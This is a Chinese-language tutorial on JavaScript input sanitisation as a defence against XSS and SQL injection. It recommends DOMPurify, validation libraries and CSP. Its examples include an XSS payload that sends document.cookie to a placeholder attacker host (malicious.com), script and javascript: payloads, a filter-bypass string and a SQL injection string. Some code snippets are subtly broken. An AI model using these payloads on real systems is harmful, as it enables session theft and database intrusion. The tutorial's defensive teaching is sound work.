掌握 JavaScript 输入清理的关键。学习 Web 安全最佳实践，保护你的应用程序免受 XSS、SQLi 等漏洞侵害。
加固你的 Web 防御：JavaScript 输入清理最佳实践全球指南
看不见的战场：为什么 Web 安全是全球性的当务之急
在我们互联的数字世界中，Web 应用程序是跨越各大洲的企业、政府和个人互动的支柱。从处理东京交易的电子商务平台，到连接布宜诺斯艾利斯社区的社交网络，再到赋能从柏林到班加罗尔的远程团队的企业工具，Web 的影响力无处不在。伴随这种普遍性而来的是一个不容置疑的事实：Web 应用程序正不断受到恶意攻击者的围剿。任何一个漏洞，一旦被利用，都可能导致毁灭性的数据泄露、财务损失、声誉损害以及用户信任的侵蚀，而这些都与地理界限无关。
Web 漏洞中最隐蔽和普遍的一类源于对用户输入的处理不当。无论是简单的搜索查询、博客评论、上传文件，还是通过注册表单提交的数据，每一个源自外部来源的信息都是一个潜在的攻击载体。本指南将深入探讨一种关键的防御机制：JavaScript 输入清理。虽然服务器端验证仍然至关重要，但使用 JavaScript 进行强大的客户端清理提供了一个不可或缺的安全层，增强了用户体验，并作为抵御常见 Web 威胁的初步盾牌。
了解威胁形势：普遍存在的漏洞
恶意输入可以被设计用来利用各种各样的漏洞。这些威胁是普遍存在的，影响着在全球范围内开发和使用的应用程序。一些最常见的包括：
- 跨站脚本 (XSS)： 这种攻击允许攻击者将恶意客户端脚本注入到其他用户查看的网页中。XSS 可以窃取会话 Cookie、篡改网站、重定向用户，甚至危及用户账户。它通常由应用程序在显示用户输入之前未能正确清理所促成。
- SQL 注入 (SQLi)： 虽然这主要是服务器端漏洞，但理解其源于用户输入至关重要。攻击者将恶意 SQL 代码插入到输入字段中，目的是操纵后端数据库查询。这可能导致未经授权的数据访问、修改或删除。虽然 JavaScript 不像服务器端语言那样直接与数据库交互，但未经妥善处理的客户端输入如果直接传递给后端 API 而未进行服务器端验证，仍可能成为 SQLi 的前兆。
- 路径遍历/目录遍历： 攻击者操纵引用文件路径的用户输入参数（例如文件名或目录），以访问服务器上存储的任意文件和目录，可能访问 Web 根目录之外的敏感数据。
- 命令注入： 当应用程序在没有适当验证的情况下使用用户提供的输入执行系统命令时，就会发生这种情况。攻击者可以注入任意命令，导致完全系统被攻破。
- 其他注入缺陷 (LDAP, NoSQL, ORM)： 与 SQLi 类似，这些攻击通过将恶意代码注入到查询或操作中来针对其他数据存储或框架。
JavaScript 在现代 Web 应用程序中的作用，特别是在单页应用程序 (SPA) 和动态用户界面中，意味着大部分用户交互和数据处理直接在浏览器中进行。这种客户端活动，如果未得到仔细保护，可能会成为这些普遍攻击的门户。
究竟什么是输入清理？与验证和编码的区别
为了有效防范与输入相关的漏洞，理解清理、验证和编码的各自作用至关重要：
- 输入验证： 这是检查用户输入是否符合预期的格式、类型和约束的过程。例如，确保电子邮件地址格式正确，数字在特定范围内，或者字符串不超过最大长度。验证会拒绝不符合标准的输入。它关乎确保数据正确以用于预期用途。
- 输入清理： 这是通过删除或转换用户输入中的恶意或潜在危险字符和模式来清理用户输入的过程。与通常拒绝不良输入的验证不同，清理会修改输入以使其安全。例如，删除
<script>标签或危险的 HTML 属性以防止 XSS。清理旨在使输入无害。 - 输出编码： 这是在将数据显示在特定上下文（例如 HTML、URL、JavaScript）之前，将其特殊字符转换为安全表示形式的过程。它确保浏览器将数据解释为数据，而不是可执行代码。例如，将
<转换为<可防止其被解释为 HTML 标签的开始。编码确保安全的渲染。
尽管这三者各不相同，但它们是互补的，共同构成了分层防御。JavaScript 在初步验证和清理方面发挥着重要作用，为用户提供即时反馈，并减轻服务器负担。然而，必须记住，客户端措施很容易被绕过，并且必须始终辅以强大的服务器端验证和清理。
为什么 JavaScript 输入清理不可或缺
虽然“永远不要相信客户端输入”的口号是正确的，但忽略客户端 JavaScript 清理将是一个严重的错误。它提供了几个引人注目的优点：
- 增强用户体验： 对无效或潜在恶意的输入提供即时反馈，显著改善了用户体验。用户不必等待服务器往返即可知道其输入不被接受或已被修改。这对于可能遇到更高延迟的全球用户尤其重要。
- 减少服务器负载： 通过在客户端过滤掉明显的恶意或格式错误的输入，到达服务器的无效请求就更少。这减少了处理负载，节省了带宽，并提高了应用程序的整体性能，这对于服务全球数百万用户的规模化应用程序至关重要。
- 第一道防线： 客户端清理充当第一道屏障，阻止随意攻击者并防止意外提交有害内容。虽然它并非万无一失，但它增加了攻击者的难度，迫使他们绕过客户端和服务器端防御。
- 动态内容生成： 现代 Web 应用程序经常使用 JavaScript 动态生成和操作 HTML（例如，显示用户生成的评论、渲染富文本编辑器输出）。在将此输入注入 DOM 之前对其进行清理，对于防止基于 DOM 的 XSS 攻击至关重要。
然而，客户端 JavaScript 很容易被绕过（例如，通过禁用 JavaScript、使用浏览器开发工具或直接与 API 交互），这意味着服务器端验证和清理是不可或缺的。JavaScript 清理是一个关键的层，而不是一个完整的解决方案。
常见的攻击载体及清理如何提供帮助
让我们探讨具体的攻击类型以及精心实现的 JavaScript 清理如何减轻它们。
使用 JavaScript 防范跨站脚本 (XSS)
XSS 可能是 JavaScript 清理最直接的目标。当攻击者将可执行脚本注入应用程序，然后这些脚本在其他用户的浏览器中运行时，就会发生 XSS。XSS 可分为三种主要类型：
- 存储型 XSS： 恶意脚本永久存储在目标服务器上（例如，在数据库中），并提供给检索该存储信息的用户。想象一下包含恶意脚本的论坛帖子。
- 反射型 XSS： 恶意脚本通过 Web 应用程序反射到用户的浏览器。它通常通过恶意链接或操纵的输入字段进行传递。脚本不被存储；它会立即回显。
- DOM 型 XSS： 漏洞存在于客户端代码本身，特别是 JavaScript 如何处理用户控制的数据并将其写入 DOM。恶意脚本永远不会到达服务器。
XSS 攻击示例 (Payload)：
想象一个用户可以发布评论的评论部分。攻击者可能会提交：
<script>alert('You've been hacked!');</script>
<img src="x" onerror="window.location='http://malicious.com/?cookie='+document.cookie;">
如果此输入在渲染到 HTML 之前未被清理，浏览器将执行脚本，可能导致 Cookie 被盗、会话劫持或网站篡改。
JavaScript 清理如何防范 XSS：
JavaScript 清理通过在这些危险元素注入 DOM 或发送到服务器之前识别并中和它们来工作。这包括：
- 删除危险标签： 剥离
<script>、<iframe>、<object>、<embed>以及其他已知可执行代码的 HTML 标签。 - 剥离危险属性： 删除
onload、onerror、onclick、style（可能包含 CSS 表达式）以及以javascript:开头的href属性。 - 编码 HTML 实体： 将
<、>、&、"和'等字符转换为其 HTML 实体等效项（<、>、&、"、'）。这可确保这些字符被视为纯文本而不是活动 HTML。
SQL 注入 (SQLi) 和客户端贡献
如前所述，SQLi 本质上是一个服务器端问题。然而，如果客户端 JavaScript 未得到妥善处理，可能会无意中助长 SQLi。
考虑一个应用程序，其中 JavaScript 根据用户输入构建一个查询字符串，并将其发送到后端 API，而未进行适当的服务器端清理。例如：
// Client-side JavaScript (BAD EXAMPLE, DO NOT USE!)
const userId = document.getElementById('userIdInput').value;
// Imagine this string is sent directly to a backend that executes it
const query = `SELECT * FROM users WHERE id = '${userId}';`;
// If userId = ' OR 1=1 --
// query becomes: SELECT * FROM users WHERE id = '' OR 1=1 --';
// This can bypass authentication or dump database content
虽然 SQL 的直接执行发生在服务器端，但客户端 JavaScript 验证（例如，确保 userIdInput 是数字）和清理（例如，删除可能破坏字符串字面量的引号或特殊字符）可以作为重要的第一道过滤器。这有力地提醒我们，所有输入，即使最初由 JavaScript 处理，也必须经过严格的服务器端验证和清理。
路径遍历和其他注入
与 SQLi 类似，路径遍历和命令注入通常是服务器端漏洞。然而，如果客户端 JavaScript 用于收集文件路径、命令参数或其他敏感参数，然后将其发送到后端 API，那么适当的客户端验证和清理可以防止已知的恶意模式（例如，路径遍历的 ../）甚至离开客户端浏览器，从而提供早期预警系统并减少攻击面。同样，这是一种辅助措施，不能替代服务器端安全。
安全输入处理原则：全球标准
无论使用何种语言或框架，某些普遍原则都支撑着安全输入处理：
- 永远不要信任用户输入（黄金法则）： 将所有源自应用程序直接控制之外的输入视为潜在的恶意。这包括来自表单、URL、标头、Cookie 的输入，甚至来自可能已被泄露的其他系统的数据。
- 纵深防御： 实施多层安全措施。客户端清理和验证在用户体验和性能方面都非常出色，但它们必须始终以强大的服务器端验证、清理和输出编码作为后盾。攻击者会绕过客户端检查。
- 正向验证（白名单）： 这是最强的验证方法。与其试图识别和阻止所有已知的“坏”输入（黑名单，容易被绕过），不如定义“好”输入的样式，只允许该样式。例如，如果一个字段期望一个电子邮件，则检查有效的电子邮件模式；如果期望一个数字，则确保它纯粹是数字。
- 上下文相关的输出编码： 在将数据显示给用户之前，始终根据其将出现的特定上下文（例如，HTML、CSS、JavaScript、URL 属性）对其进行编码。编码可确保数据被渲染为数据，而不是活动代码。
实际的 JavaScript 清理技术和库
实现有效的 JavaScript 清理通常涉及手动技术和利用经过充分测试的库的组合。由于准确识别和中和所有攻击变体的复杂性，因此不建议对关键安全功能使用简单的字符串替换。
基本字符串操作（谨慎使用）
对于非常简单的、非 HTML 风格的输入，您可能可以使用基本的 JavaScript 字符串方法。然而，对于复杂的攻击（如 XSS），这些方法很容易被绕过。
// Example: Basic removal of script tags (NOT production-ready for XSS)
function sanitizeSimpleText(input) {
let sanitized = input.replace(/<script>/gi, ''); // Remove <script> tags
sanitized = sanitized.replace(/</script>/gi, ''); // Remove </script> tags
sanitized = sanitized.replace(/javascript:/gi, ''); // Remove javascript: pseudo-protocol
return sanitized;
}
const dirtyText = "<script>alert('XSS');</script>Hello";
console.log(sanitizeSimpleText(dirtyText)); // Output: Hello
// This is easily bypassed:
const bypassAttempt = "<scr<script>ipt>alert('XSS');</script>";
console.log(sanitizeSimpleText(bypassAttempt)); // Output: <scr<script>ipt>alert('XSS');</script>
// Attacker could also use HTML entities, base64 encoding, or other obfuscation techniques.
建议：对于任何超出非常基本、非关键清理的用途，都应避免使用简单的字符串替换，尤其是在处理 HTML 内容且存在 XSS 风险时，切勿使用。
HTML 实体编码
将特殊字符编码为 HTML 实体是防止浏览器将其解释为 HTML 或 JavaScript 的基本技术。当您希望显示可能包含类似 HTML 的字符的用户提供的文本，但又希望它们被渲染为文本时，这一点至关重要。
function encodeHTMLEntities(str) {
const p = document.createElement('p');
p.appendChild(document.createTextNode(str));
return p.innerHTML;
}
const userComment = "This comment contains <script>alert('test')</script> and some <b>bold</b> text.";
const encodedComment = encodeHTMLEntities(userComment);
console.log(encodedComment);
// Output: This comment contains <script>alert('test')</script> and some <b>bold</b> text.
// When rendered, it will show as plain text: This comment contains <script>alert('test')</script> and some <b>bold</b> text.
这种方法在安全渲染文本方面很有效。但是，如果您打算允许一部分 HTML（例如，用户可以使用 <b> 或 <em> 的富文本编辑器），则仅进行编码是不够的，因为它会编码所有内容。
专用清理库的强大功能：DOMPurify (推荐)
对于健壮且可靠的客户端 HTML 清理，特别是处理可能包含允许的 HTML（如富文本编辑器输出）的用户生成内容时，使用像 DOMPurify 这样经过实战检验的库是行业推荐的方法。DOMPurify 是一个快速、容错性强且安全的 JavaScript HTML 清理器，可在所有现代浏览器和 Node.js 中运行。
它基于正向安全模型（白名单），只允许已知的安全 HTML 标签和属性，同时剥离所有其他内容。这与黑名单方法相比，大大降低了攻击面。
DOMPurify 的工作原理：
DOMPurify 解析输入 HTML，构建 DOM 树，遍历它，并删除不在其严格白名单中的任何元素或属性。然后，它将安全的 DOM 树序列化回 HTML 字符串。
DOMPurify 的示例用法：
// First, include DOMPurify in your project (e.g., via npm, CDN, or local file)
// import DOMPurify from 'dompurify'; // If using modules
const dirtyHTML = "
<img src=x onerror=\"alert('XSS')\">
<p>Hello, <b>world</b>!
<script>alert('Evil script!');</script>
<a href=\"javascript:alert('Another XSS')\">Click me</a>
<iframe src=\"http://malicious.com\"></iframe>
<style>body { background: url(\"data:image/svg+xml;\lt;svg onload='alert(1)'\gt;"); }</style>
";
const cleanHTML = DOMPurify.sanitize(dirtyHTML);
console.log(cleanHTML);
// Expected Output (might vary slightly based on DOMPurify version and config):
// <p>Hello, <b>world</b>! <a>Click me</a>
// Notice how script tags, onerror, javascript: in href, iframe, and malicious style attributes are all removed.
自定义 DOMPurify：
DOMPurify 允许进行广泛的配置以适应特定需求，例如允许其默认白名单中不存在的某些标签或属性，或禁止其通常允许的标签。
const customCleanHTML = DOMPurify.sanitize(dirtyHTML, {
USE_PROFILES: { html: true }, // Use default HTML profile
ADD_TAGS: ['my-custom-tag'], // Allow a custom HTML tag
ADD_ATTR: ['data-custom'], // Allow a custom data attribute
FORBID_TAGS: ['p'], // Forbid paragraph tags, even if normally allowed
FORBID_ATTR: ['class'] // Forbid the 'class' attribute
});
console.log(customCleanHTML);
为什么 DOMPurify 更胜一筹：它理解 DOM 上下文，处理复杂的解析问题，应对各种编码技巧，并且由安全专家积极维护。它被设计为能够稳健地抵御新颖的 XSS 向量。
输入白名单和验证库
虽然清理可以清除潜在的恶意数据，但验证可以确保数据符合预期的业务规则和格式。像 validator.js 这样的库为常见数据类型（电子邮件、URL、数字、日期等）提供了全面的验证功能。
// Example using validator.js (Node.js/browser compatible)
// import validator from 'validator';
const emailInput = "user@example.com";
const invalidEmail = "user@example";
const numericInput = "12345";
const textWithHtml = "<script>alert('test')</script>Plain Text";
if (validator.isEmail(emailInput)) {
console.log(`"${emailInput}" is a valid email.`);
} else {
console.log(`"${emailInput}" is NOT a valid email.`);
}
if (validator.isNumeric(numericInput)) {
console.log(`"${numericInput}" is numeric.`);
} else {
console.log(`"${numericInput}" is NOT numeric.`);
}
// For text that should *only* contain specific characters, you can whitelist:
function containsOnlyAlphanumeric(text) {
return /^[a-zA-Z0-9\s]+$/.test(text); // Allows alphanumeric and spaces
}
if (containsOnlyAlphanumeric(textWithHtml)) {
console.log(`"${textWithHtml}" contains only alphanumeric and spaces.`);
} else {
console.log(`"${textWithHtml}" contains disallowed characters.`); // This will be the output
}
结合验证（确保格式/类型）和清理（清理内容）可在客户端提供强大的双层防御。
高级考虑和面向全球受众的最佳实践
保护 Web 应用程序不仅仅是基本技术；它需要一种整体方法并认识到全球背景。
清理与验证与编码：永恒的提醒
不厌其烦地重申：这些是不同的但互补的过程。验证确保正确性，清理通过修改内容确保安全性，编码通过将特殊字符转换为文本等效项来确保安全显示。安全应用程序会明智地使用这三者。
内容安全策略 (CSP)：XSS 的强大盟友
CSP 是一种 HTTP 响应头，浏览器使用它来阻止广泛的攻击，包括 XSS。它允许 Web 开发人员声明 Web 页面可以加载的批准内容源（脚本、样式表、图像等）。如果攻击者设法注入脚本，CSP 可以阻止其执行，如果其源未被列入白名单。
// Example CSP Header (sent by server, but client-side dev should be aware)
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; img-src 'self' data:; style-src 'self' 'unsafe-inline';
虽然 CSP 主要是一种服务器端配置，但 JavaScript 开发人员必须了解其含义，特别是在加载外部脚本或使用内联样式/脚本时。即使某些客户端输入清理失败，它也增加了重要的防御层。
不可变数据结构
在 JavaScript 中，使用不可变数据结构来处理输入可以减少意外修改或副作用的风险。当接收到用户输入时，处理它以创建新的、清理过的数据结构，而不是就地修改原始输入。这有助于维护数据完整性并防止细微的注入漏洞。
定期的安全审计和渗透测试
即使有最佳实践，漏洞仍可能出现。定期的安全审计、代码审查和独立安全专家的渗透测试至关重要。这有助于发现自动化工具或内部审查可能遗漏的弱点，确保您的应用程序能够抵御不断演变的全球威胁。
保持库更新
安全形势瞬息万变。第三方库，如 DOMPurify、validator.js 或您使用的任何框架（React、Angular、Vue），会定期更新以解决新发现的漏洞。始终确保您的依赖项是最新的。Dependabot 或 Snyk 等工具可以自动化此过程。
教育开发人员：培养安全优先的心态
最先进的安全工具只有在使用它们开发的开发人员手中才有效。关于安全编码实践的全面培训、对 OWASP Top 10 漏洞的认识以及促进安全优先文化至关重要。这是一个全球性挑战，培训材料应易于获取且文化中立。
针对多样化输入的上下文清理
“最佳”清理方法在很大程度上取决于输入将被使用的上下文。用于纯文本字段显示的字符串需要与用于 HTML 属性、URL 或 JavaScript 函数参数的字符串不同。
- HTML 上下文： 使用 DOMPurify 或 HTML 实体编码。
- HTML 属性上下文： 对引号（
"到"，'到'）和其他特殊字符进行编码。确保href等属性不包含javascript:方案。 - URL 上下文： 对路径段和查询参数使用
encodeURIComponent()。 - JavaScript 上下文： 避免将用户输入直接用于
eval()、setTimeout()、setInterval()或动态脚本标签。如果绝对必要，请仔细转义所有引号和反斜杠，并最好根据白名单进行验证。
服务器端重新验证和重新清理：最终守护者
这一点怎么强调都不为过。虽然客户端 JavaScript 清理非常有价值，但它永远不够。无论用户输入在客户端如何处理，必须在服务器端对其进行重新验证和重新清理，然后才能进行处理、存储或用于数据库查询。服务器是您应用程序的最终安全边界。
国际化 (I18N) 和清理
对于全球受众，输入可能包含各种语言和字符集（例如，阿拉伯语、西里尔语、东亚脚本）。确保您的清理和验证逻辑正确处理 Unicode 字符。特别是，正则表达式需要仔细构建，并带有 Unicode 标志（例如，JavaScript 中的 /regex/u）或使用支持 Unicode 的库。如果适用于后端存储，长度检查也应考虑字节表示的变化。
要避免的常见陷阱和反模式
即使是经验丰富的开发人员也可能陷入常见的错误：
- 仅依赖客户端安全： 最严重的错误。攻击者总是会绕过客户端检查。
- 列出不良输入的黑名单： 试图列出所有可能的恶意模式是一项无休止且最终徒劳的任务。攻击者富有创造力，会找到新的方法来绕过您的黑名单。始终优先选择白名单。
- 不正确的正则表达式： 正则表达式可能很复杂，而用于验证或清理的不当编写的正则表达式可能会无意中创建新的漏洞，或容易被绕过。请用恶意载荷彻底测试您的正则表达式。
- 不安全地使用
innerHTML： 将用户提供的或动态生成的内容（即使是基本“清理”过的）直接分配给element.innerHTML是 XSS 的常见来源。如果您必须使用innerHTML处理不受信任的内容，请始终先通过像 DOMPurify 这样的强大库。对于纯文本，textContent或innerText更安全。 - 假定数据库/API 数据是安全的： 从数据库或外部 API 检索的数据可能在某个时候源自不受信任的用户输入，或者可能已被篡改。在显示数据之前，始终对其进行重新清理和编码，即使您认为它在存储时是干净的。
- 忽略安全标头： 忽视实现 CSP、X-Content-Type-Options、X-Frame-Options 和 Strict-Transport-Security 等关键安全标头会削弱整体安全态势。
全球案例研究：来自真实世界的经验
虽然具体的公司名称在漏洞方面通常不会被公开强调，但攻击的模式是普遍的。全球许多备受瞩目的数据泄露和网站篡改事件都可以追溯到因输入处理不当而导致的 XSS 或 SQL 注入攻击。无论是大型电子商务网站泄露客户数据，国家政府门户被篡改以显示恶意内容，还是社交媒体平台通过注入脚本传播恶意软件，根本原因往往都指向在关键节点未能正确清理或验证用户输入。这些事件都强调了安全是全球共同的责任和持续的过程。
面向全球开发者的必备工具和资源
- OWASP Top 10： 开放 Web 应用程序安全项目列出的最关键的 Web 应用程序安全风险。所有 Web 开发人员必读。
- DOMPurify： 行业标准的客户端 HTML 清理器。强烈推荐给任何处理用户生成 HTML 的应用程序。可在 npm 和 CDN 上获取。
- validator.js： JavaScript 字符串验证器和清理器的综合库。非常适合强制执行数据格式。
- OWASP ESAPI (Enterprise Security API)： 虽然主要用于服务器端语言，但其原则和安全编码指南普遍适用，并为安全开发提供了稳健的框架。
- 安全 Linter（例如，带有安全插件的 ESLint）： 将安全检查直接集成到您的开发工作流程中，以尽早发现常见的反模式。
结论：拥抱“安全设计”理念
在一个 Web 应用程序是无数个人和组织的数字店面、通信中心和运营中心的时代，Web 安全不仅仅是一个功能；它是一个基础性要求。JavaScript 输入清理，当作为纵深防御策略的一部分正确实施时，在保护您的应用程序免受 XSS 等常见和持久威胁方面发挥着不可或缺的作用。
请记住，客户端 JavaScript 清理是您的第一道防线，可改善用户体验并减少服务器负载。但是，它永远不是安全的最终决定。始终用严格的服务器端验证、清理和上下文相关的输出编码来补充它。通过采用“安全设计”理念，利用 DOMPurify 等经过实战检验的库，不断自我教育，并勤奋地应用最佳实践，我们可以共同为每个人、在每个地方构建一个更安全、更具弹性的 Web。
Web 安全的责任在于每一位开发者。让我们将其作为全球优先事项，以保护我们的数字未来。